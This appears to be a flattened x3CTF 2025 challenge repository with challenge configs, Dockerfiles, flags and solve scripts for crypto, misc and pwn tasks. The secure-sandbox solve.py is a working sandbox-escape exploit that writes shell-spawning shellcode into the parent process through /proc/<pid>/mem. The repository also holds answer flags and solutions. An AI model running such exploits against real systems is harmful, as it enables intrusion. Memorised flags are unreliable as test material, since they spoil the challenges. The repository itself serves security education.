/handouts/rubiks-dsa.tar.gz 21 | 22 | -------------------------------------------------------------------------------- /crypto/sourceless-crypto/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | Find out stuff isn't random cuz nonce always += 1 2 | 3 | once you start account for the nonce this is a simple substition cipher respectively not really cipher because theres no real decryption. might as well call it a hash 💀💀💀💀💀💀 4 | -------------------------------------------------------------------------------- /crypto/sourceless-crypto/challenge-solution/solve.py: -------------------------------------------------------------------------------- 1 | from string import printable 2 | 3 | from pwn import remote 4 | 5 | r = remote("localhost", 1337) 6 | 7 | nonce = 0 8 | r.sendlineafter(b"Operation: ", b"1") 9 | d = r.recvline() 10 | flag = eval(d.replace(b"Flag: ", b"")) 11 | dflag = b"" 12 | 13 | for c in flag: 14 | dflag += (int(c) ^ nonce).to_bytes(1) 15 | nonce += 1 16 | 17 | 18 | r.sendlineafter(b"Operation: ", b"2") 19 | r.sendlineafter(b"plaintext: ", printable.encode()) 20 | 21 | encrypted_text = r.recvline() 22 | eaaaaa = eval(encrypted_text.replace(b"Encrypted plaintext: ", b"")) 23 | 24 | eprintable = b"" 25 | 26 | for c in eaaaaa: 27 | eprintable += (int(c) ^ (nonce)).to_bytes(1) 28 | nonce += 1 29 | 30 | map = {bytes(e): a for e, a in zip(eprintable, printable)} 31 | 32 | for c in dflag: 33 | print(map.get(bytes(c)), end="") 34 | -------------------------------------------------------------------------------- /crypto/sourceless-crypto/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-alpine 2 | 3 | WORKDIR /app 4 | 5 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat --no-cache 6 | 7 | COPY chall.py /app 8 | 9 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:/app/chall.py -------------------------------------------------------------------------------- /misc/count-the-mvms/challenge-solution/mvm_pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/count-the-mvms/challenge-solution/mvm_pattern.png -------------------------------------------------------------------------------- /misc/count-the-mvms/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | # count-the-mvms 2 | 3 | First, extract the images: 4 | `pdfimages -all certificate_SAMPLE_TEAM.pdf` 5 | 6 | Open the resulting image and save an MVM pattern in `mvm_pattern.png`. 7 | 8 | Run the solve script to find all of the matches for the pattern. 9 | 10 | Add 3 to the number ("x3CTF x MVM" + MVM logo + "mvm organizer") + any additional mvms in team name. 11 | 12 | You should get 9336. 13 | 14 | Get the MD2 of "9336" and bake the flag: `x3c{th3r3_4re_9336_MVMs_1n_my_c3rtif1cat3_2931355ee608d35463f2ef7847474858}` -------------------------------------------------------------------------------- /misc/count-the-mvms/challenge-solution/solve_script.py: -------------------------------------------------------------------------------- 1 | from PIL import Image 2 | 3 | pat_mvm = Image.open("mvm_pattern.png") 4 | pat_mvm_p = pat_mvm.load() 5 | im = Image.open("000.jp2") 6 | pix = im.load() 7 | width, height = im.size 8 | mvm_count = 0 9 | mvms = [] 10 | 11 | for h in range(height-30): 12 | print(f"Checking: {(h*100)//(height-31)}%") 13 | for w in range(width-11): 14 | ok=True 15 | for x in range(1,30): 16 | for y in range(11): 17 | if pix[(w+x,h+y)] != pat_mvm_p[(x,y)]: 18 | ok=False 19 | break 20 | if not ok: 21 | break 22 | if ok: 23 | last_ok_w = w 24 | mvm_count += 1 25 | mvms.append((w,h)) 26 | 27 | print(f"Counted {mvm_count} mvms!") 28 | -------------------------------------------------------------------------------- /misc/foundations/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: foundations 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | - osint 10 | 11 | difficulty: easy # Must be one of baby/easy/medium/hard/leet 12 | author: rebane2001 13 | flag: x3CTF{m4yb3_w3ll_m4ke_4_ch4ll3nge_0u7_0f_7h1s} 14 | flagFormat: x3CTF{...} 15 | description: | 16 | I wonder what the first ever x3CTF flag was...
17 |
18 | Note: The flag format on this challenge is slightly different because we can't go back to 2024 and change it. This challenge does not require any active attacks. 19 | -------------------------------------------------------------------------------- /misc/hydraulic-press/challenge-solution/go.mod: -------------------------------------------------------------------------------- 1 | module x3c/comp_solve 2 | 3 | go 1.23.4 4 | -------------------------------------------------------------------------------- /misc/hydraulic-press/challenge-src/go.mod: -------------------------------------------------------------------------------- 1 | module x3c/comp_gen 2 | 3 | go 1.23.4 4 | -------------------------------------------------------------------------------- /misc/hydraulic-press/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: hydraulic-press 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | 10 | difficulty: easy # Must be one of baby/easy/medium/hard/leet 11 | author: rdx4.2 12 | flag: x3c{nesting_is_fun_IDOWxzs3} 13 | flagFormat: x3c{...} 14 | description: | 15 | Just decode and decompress this a couple of times and get the flag! Might contain some padding :3 16 | attachments: 17 | - fileName: hydraulic-press.tar.gz 18 | downloadUrl: /handouts/hydraulic-press.tar.gz 19 | -------------------------------------------------------------------------------- /misc/mvm/challenge-solution/solution.md: -------------------------------------------------------------------------------- 1 | take the file, do data.replace("M", "0").replace("V", "1"), then thats binary, 8 bytes = 1 byte of ascii, then thats brainfuck and you execute that 2 | -------------------------------------------------------------------------------- /misc/mvm/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: mvm 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - misc 10 | difficulty: baby # Must be one of baby/easy/medium/hard/leet 11 | author: mvm 12 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration 13 | flag: MVM{MVM_BRAIN_IS_FUCKED_MVM} 14 | flagFormat: MVM{...} 15 | description: | 16 | This MVM is fucking with my brain... 17 | attachments: 18 | - fileName: mvm.tar.gz 19 | downloadUrl: /handouts/mvm.tar.gz 20 | -------------------------------------------------------------------------------- /misc/omnibius/challenge-handout/519814-omnibious-pocket-computer-rev1-0.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-handout/519814-omnibious-pocket-computer-rev1-0.pdf -------------------------------------------------------------------------------- /misc/omnibius/challenge-handout/dump.rom: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-handout/dump.rom -------------------------------------------------------------------------------- /misc/omnibius/challenge-solution/dump.rom: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-solution/dump.rom -------------------------------------------------------------------------------- /misc/omnibius/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: omnibius 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | 10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet 11 | author: rebane2001 12 | flag: x3c{v3ry_r3duc3d_1n57ructi0n_537} 13 | flagFormat: x3c{...} 14 | description: | 15 | I found an old game cartridge for an obscure video game console at a yard sale. I don't have the console, but I found a PDF online describing the hardware. Could you help me get the game running? 16 | attachments: 17 | - fileName: omnibius.tar.gz 18 | downloadUrl: /handouts/omnibius.tar.gz 19 | -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-slim-buster 2 | 3 | WORKDIR /python-docker 4 | 5 | COPY requirements.txt requirements.txt 6 | RUN pip3 install -r requirements.txt 7 | 8 | COPY . . 9 | 10 | CMD [ "python3", "-m" , "flask", "run", "--host=0.0.0.0"] 11 | -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/MonsieurLaDoulaise-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/MonsieurLaDoulaise-Regular.ttf -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/mvm_pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/mvm_pattern.png -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/requirements.txt: -------------------------------------------------------------------------------- 1 | pillow==10.3.0 2 | requests==2.32.3 3 | Flask==3.0.3 4 | -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/vvv_pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/vvv_pattern.png -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/wvw_pattern.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/wvw_pattern.png -------------------------------------------------------------------------------- /misc/p11n-trophy/challenge-src/x3_transparent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/x3_transparent.png -------------------------------------------------------------------------------- /misc/redacted/challenge-handout/how_to_check.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-handout/how_to_check.png -------------------------------------------------------------------------------- /misc/redacted/challenge-handout/readme.txt: -------------------------------------------------------------------------------- 1 | The challenge is in redacted.zip 2 | 3 | Note: Sometimes our web server has some weird issue for some reason and the zip file is broken - if this happens please ask for support from one of our on-call staff. Check the how_to_check.png image to figure out how to tell if someone is on-call. -------------------------------------------------------------------------------- /misc/redacted/challenge-handout/redacted.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-handout/redacted.zip -------------------------------------------------------------------------------- /misc/redacted/challenge-solution/c1b53be672aac192a996.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-solution/c1b53be672aac192a996.woff2 -------------------------------------------------------------------------------- /misc/redacted/challenge-solution/corrected.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-solution/corrected.png -------------------------------------------------------------------------------- /misc/redacted/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: redacted 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | 10 | difficulty: hard # Must be one of baby/easy/medium/hard/leet 11 | author: rebane2001 12 | flag: x3c{b3c4u5e_p1x3l4710n_w0uldv3_b33n_2oo_e4sy_afdsjhsdf} 13 | flagFormat: x3c{...} 14 | description: | 15 | We put the challenge in a zip file and redacted it.
16 |
17 | Note: This challenge is fully solvable both on Windows and Linux, although it's slightly easier on the former. 18 | attachments: 19 | - fileName: redacted.tar.gz 20 | downloadUrl: /handouts/redacted.tar.gz 21 | -------------------------------------------------------------------------------- /misc/secure-snek/challenge-handout/main.py: -------------------------------------------------------------------------------- 1 | def encrypt(data: str, a: int, b: int, seed: int = None) -> str: 2 | ... 3 | 4 | def get_data() -> tuple: 5 | msg = input('Enter a message you want to encrypt:\n') 6 | print('Enter two or three parameters: a, b, seed separataed by spaces (a >= 0, b >= 0, seed is optional):') 7 | y = input().split() 8 | a, b = map(int, y[:2]) 9 | seed = int(y[2]) if len(y) == 3 else None 10 | return msg, a, b, seed 11 | 12 | 13 | if __name__ == '__main__': 14 | from auth import * 15 | print('Here is the encrypted flag: {}\n'.format(encrypt('MVM{FLAG_GOES_HERE}', 3, 8))) 16 | print('You may encrypt messages. Your messages must consist of only printable ascii characters and no spaces!') 17 | 18 | while True: 19 | try: 20 | x = get_data() 21 | except: 22 | print('There was an error with your data, please try again') 23 | continue 24 | try: 25 | encrypted = encrypt(*x) 26 | print(f'Encrypted message: {encrypted}\n' + '-'*50) 27 | except: 28 | print('Error! Please try again.') -------------------------------------------------------------------------------- /misc/secure-snek/challenge-handout/output.txt: -------------------------------------------------------------------------------- 1 | Here is the encrypted flag: 0`H@CffbsYC`/jW'?>UB6Jw 2 | -------------------------------------------------------------------------------- /misc/secure-snek/challenge-src/__pycache__/auth.cpython-312.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/secure-snek/challenge-src/__pycache__/auth.cpython-312.pyc -------------------------------------------------------------------------------- /misc/secure-snek/challenge-src/auth_orig.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | 4 | def check_bad_params(a, b): 5 | return a < 0 or b < 0 6 | 7 | 8 | def encrypt(data: str, a: int, b: int, seed: int = None): 9 | from string import printable 10 | 11 | if check_bad_params(a, b): 12 | print('a and b must be non-negative integers') 13 | raise ValueError('a and b must be non-negative integers') 14 | 15 | if seed is None: 16 | seed = random.randint(1, 10**4) 17 | 18 | abc = list(printable[:-6]) 19 | random.Random(seed).shuffle(abc) 20 | m = len(abc) 21 | s = '' 22 | for c in data: 23 | s += abc[(abc.index(c) + a) % m] 24 | t = (a+b, a) 25 | a = t[0] 26 | b = t[1] 27 | return s 28 | 29 | globals()['check_bad_params'] = check_bad_params 30 | globals()['encrypt'] = encrypt 31 | -------------------------------------------------------------------------------- /misc/secure-snek/challenge-src/main.py: -------------------------------------------------------------------------------- 1 | def encrypt(data: str, a: int, b: int, seed: int = None) -> str: ... 2 | 3 | 4 | def get_data() -> tuple: 5 | msg = input("Enter a message you want to encrypt:\n") 6 | print( 7 | "Enter two or three parameters: a, b, seed separataed by spaces (a >= 0, b >= 0, seed is optional):" 8 | ) 9 | y = input().split() 10 | a, b = map(int, y[:2]) 11 | seed = int(y[2]) if len(y) == 3 else None 12 | return msg, a, b, seed 13 | 14 | 15 | if __name__ == "__main__": 16 | from auth import * 17 | 18 | print( 19 | "Here is the encrypted flag: {}\n".format( 20 | encrypt("MVM{sn3k_n0t_50_53kur3}", 3, 8) 21 | ) 22 | ) 23 | print( 24 | "You may encrypt messages. Your messages must consist of only printable ascii characters and no spaces!" 25 | ) 26 | 27 | while True: 28 | try: 29 | x = get_data() 30 | except: 31 | print("There was an error with your data, please try again") 32 | continue 33 | try: 34 | encrypted = encrypt(*x) 35 | print(f"Encrypted message: {encrypted}\n" + "-" * 50) 36 | except: 37 | print("Error! Please try again.") 38 | -------------------------------------------------------------------------------- /misc/secure-snek/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: secure-snek 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - misc 10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet 11 | author: 7o1 12 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration 13 | flag: MVM{sn3k_n0t_50_53kur3} 14 | flagFormat: MVM{...} 15 | description: | 16 | snek do be very secure 17 | hideUntil: "2025-01-25T18:00:00+00:00" 18 | attachments: 19 | - fileName: secure-snek.tar.gz 20 | downloadUrl: /handouts/secure-snek.tar.gz 21 | -------------------------------------------------------------------------------- /misc/trophy-plus/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: trophy-plus 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | - cert 10 | difficulty: baby # Must be one of baby/easy/medium/hard/leet 11 | author: shadowcone 12 | allowOutboundTraffic: false 13 | flag: x3c{i_d1dn't_kn0w_mvm_c0uld_be_us3d_f0r_b1n4ry_3nc0d1ng_l0l} 14 | flagFormat: x3c{...} 15 | description: | 16 | We got a little bored, so we hid another flag in the personalized certificate of participation for you. Good luck hunting ^_^!

17 | Note: You'll need the certificate from p11n-trophy for this challenge 😉
18 | -------------------------------------------------------------------------------- /misc/trophy-plus64/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: trophy-plus64 5 | namespace: berg 6 | spec: 7 | categories: 8 | - misc 9 | - cert 10 | difficulty: easy # Must be one of baby/easy/medium/hard/leet 11 | author: shadowcone 12 | allowOutboundTraffic: false 13 | flag: x3c{mu5t_b3_fun_typ1ng_th1s_by_h4nd_1375105304248361} 14 | flagFormat: x3c{...} 15 | description: | 16 | We got a little bored, so we hid another flag in the personalized certificate of participation for you. Good luck hunting ^_^!

17 | Note: You'll need the certificate from p11n-trophy for this challenge 😉
18 | -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.io/library/ubuntu:oracular 2 | 3 | RUN useradd -m -d /home/ctf -s /bin/false ctf && \ 4 | chown -R root:root /home/ctf && \ 5 | chmod -R 555 /home/ctf 6 | 7 | COPY dev_null /home/ctf/dev_null 8 | COPY flag.txt /home/ctf/flag.txt 9 | COPY ynetd /home/ctf/ynetd 10 | 11 | RUN chmod 555 /tmp && \ 12 | chmod 555 /var/tmp && \ 13 | chmod 555 /dev && \ 14 | chmod 555 /run 15 | 16 | USER ctf 17 | WORKDIR /home/ctf 18 | 19 | EXPOSE 1337 20 | 21 | CMD ["/bin/sh", "-c", "/home/ctf/ynetd -p 1337 /home/ctf/dev_null -se y"] -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-handout/dev_null: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-handout/dev_null -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | app: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | ports: 7 | - "1337:1337" 8 | networks: 9 | - ctf_dev_null 10 | 11 | networks: 12 | ctf_dev_null: 13 | -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-handout/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{?????????????????????????????????????????} -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-handout/ynetd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-handout/ynetd -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.io/library/ubuntu:oracular 2 | 3 | RUN useradd -m -d /home/ctf -s /bin/false ctf && \ 4 | chown -R root:root /home/ctf && \ 5 | chmod -R 555 /home/ctf 6 | 7 | COPY dev_null /home/ctf/dev_null 8 | COPY flag.txt /home/ctf/flag.txt 9 | COPY ynetd /home/ctf/ynetd 10 | 11 | RUN chmod 555 /tmp && \ 12 | chmod 555 /var/tmp && \ 13 | chmod 555 /dev && \ 14 | chmod 555 /run 15 | 16 | USER ctf 17 | WORKDIR /home/ctf 18 | 19 | EXPOSE 1337 20 | 21 | CMD ["/bin/sh", "-c", "/home/ctf/ynetd -p 1337 /home/ctf/dev_null -se y"] -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-src/dev_null: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-src/dev_null -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | app: 3 | build: 4 | context: . 5 | dockerfile: Dockerfile 6 | ports: 7 | - "1337:1337" 8 | networks: 9 | - ctf_dev_null 10 | 11 | networks: 12 | ctf_dev_null: 13 | -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-src/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{r0p_4nd_sh3llc0d3_f0rm5_4_p3rf3c7_b4l4nc3} -------------------------------------------------------------------------------- /pwn/devnull-as-a-service/challenge-src/ynetd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-src/ynetd -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | COPY pwny-heap /pwny-heap 6 | 7 | COPY flag.txt /flag.txt 8 | 9 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""] -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-handout/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{fake_flag} -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-handout/libc-2.35.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-handout/libc-2.35.so -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-handout/pwny-heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-handout/pwny-heap -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-solution/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | COPY pwny-heap /pwny-heap 6 | 7 | COPY flag.txt /flag.txt 8 | 9 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""] -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-solution/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{pwnpope_is_mining_xmr_on_your_machine_for_the_vatican} 2 | -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-solution/libc-2.35.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-solution/libc-2.35.so -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-solution/pwny-heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-solution/pwny-heap -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | COPY pwny-heap /pwny-heap 6 | 7 | COPY flag.txt /flag.txt 8 | 9 | RUN chmod 555 /pwny-heap 10 | 11 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""] 12 | -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-src/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{pwnpope_is_mining_xmr_on_your_machine_for_the_vatican} 2 | -------------------------------------------------------------------------------- /pwn/pwny-heap/challenge-src/pwny-heap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-src/pwny-heap -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | RUN useradd -ms /bin/ls flag 6 | 7 | WORKDIR /app/ 8 | 9 | COPY ./chall /app/chall 10 | COPY ./flag /app/flag 11 | 12 | USER flag 13 | 14 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""] 15 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-handout/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-handout/chall -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-handout/flag: -------------------------------------------------------------------------------- 1 | MVM{Fake_Flag} -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-solution/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | RUN useradd -ms /bin/ls flag 6 | 7 | WORKDIR /app/ 8 | 9 | COPY ./chall /app/chall 10 | COPY ./flag /app/flag 11 | 12 | USER flag 13 | 14 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""] 15 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-solution/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -o chall main.c -lseccomp -static -no-pie 3 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-solution/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-solution/chall -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-solution/flag: -------------------------------------------------------------------------------- 1 | █▀▀▀▀▀█ ▀█▀▀ ▀█▄▀█▄▄▀█  █ █▀▀▀▀▀█ 2 | █ ███ █ ▀▀█    ▄ ▄██▄██▄█ █ ███ █ 3 | █ ▀▀▀ █ ▀▄█▀▄██  ▄▀▀▀▄█▄▄ █ ▀▀▀ █ 4 | ▀▀▀▀▀▀▀ █ █▄▀▄▀ ▀▄█ ▀ ▀▄▀ ▀▀▀▀▀▀▀ 5 |   ▄▄▄█▀▄  ▄▀▀▄▀▄▄▄ █  ▀█▀▄▀▄█ █▄▀ 6 | ▀▀  ██▀▄█ ▄▄  ▄█▄█ ▄ ▀▄ ▀▀ ▄▄▀▄ ▄ 7 | █ ▀█▀▀▀▄▀█▄▀▄▀██▄▄▀█ ▀█▀ ▄█▀▀▄▄   8 | ▄█ ▀▀▀▀▄███ ▄▄▀▄▀ ▀▄ ▀▄▄  ▄▄ ▄██▄ 9 | ▄▀▀ ▄█▀██▀ █▀▄█ ▄▀▄  ▀██▀█ ▄▀█ ██ 10 | ▀ ▄ ▀ ▀▀██▀ █▀ ███▄▀  ██  ▄▄█▄███ 11 | █▀▄▀██▀▀█▄ █ ▀▄█ █▀▄ ▄█ ▄▀███▀█▀  12 | █   █ ▀█▄   ▄ ▀███▀  ▀▄ ▄▄█ ▀▀▄█▄ 13 | ▀▀▀   ▀▀█▄▀█ █ ▀█▀█▄█▄▄██▀▀▀█ ▄▀▀ 14 | █▀▀▀▀▀█ ▄▄█▄█ ██▀▀ ██▄█▀█ ▀ █▄██  15 | █ ███ █  ▄▄▄▄ █▀▄█▄█▀█▀▄▀█▀▀▀  █▀ 16 | █ ▀▀▀ █    ▄▀▀▄█▄ █  ▀ ▄▄ ▀ █▄█▀▀ 17 | ▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀  ▀ ▀  18 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-solution/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./chall") 6 | 7 | context.binary = exe 8 | 9 | 10 | def conn(): 11 | if args.LOCAL: 12 | r = process([exe.path]) 13 | if args.GDB: 14 | gdb.attach(r) 15 | else: 16 | r = remote("localhost", 1337) 17 | 18 | return r 19 | 20 | 21 | def main(): 22 | r = conn() 23 | 24 | parent_pid = int(r.recvregex(b'\d{1,6}\n', capture=True).group().strip()) 25 | info(f'parent pid: {parent_pid}') 26 | 27 | parent_shellcode = shellcraft.sh() 28 | asm_parent_shellcode = asm(parent_shellcode) 29 | 30 | shellcode = shellcraft.open(f'/proc/{parent_pid}/mem', 2) + shellcraft.lseek('rax', 0x401c8f, 0) + shellcraft.write(3, asm_parent_shellcode, len(asm_parent_shellcode)) + shellcraft.exit(0) 31 | 32 | print(shellcode) 33 | 34 | r.sendlineafter(b'shellcode:', asm(shellcode)) 35 | 36 | # good luck pwning :) 37 | 38 | r.interactive() 39 | 40 | 41 | if __name__ == "__main__": 42 | main() 43 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | RUN apt update && apt install -y socat 4 | 5 | WORKDIR /app/ 6 | 7 | COPY ./chall /app/chall 8 | COPY ./flag /app/flag 9 | 10 | RUN chown root:root /app/flag 11 | RUN chown root:root /app/chall 12 | 13 | RUN chmod 444 /app/flag 14 | RUN chmod 555 /app/chall 15 | 16 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""] 17 | -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-src/chall: -------------------------------------------------------------------------------- 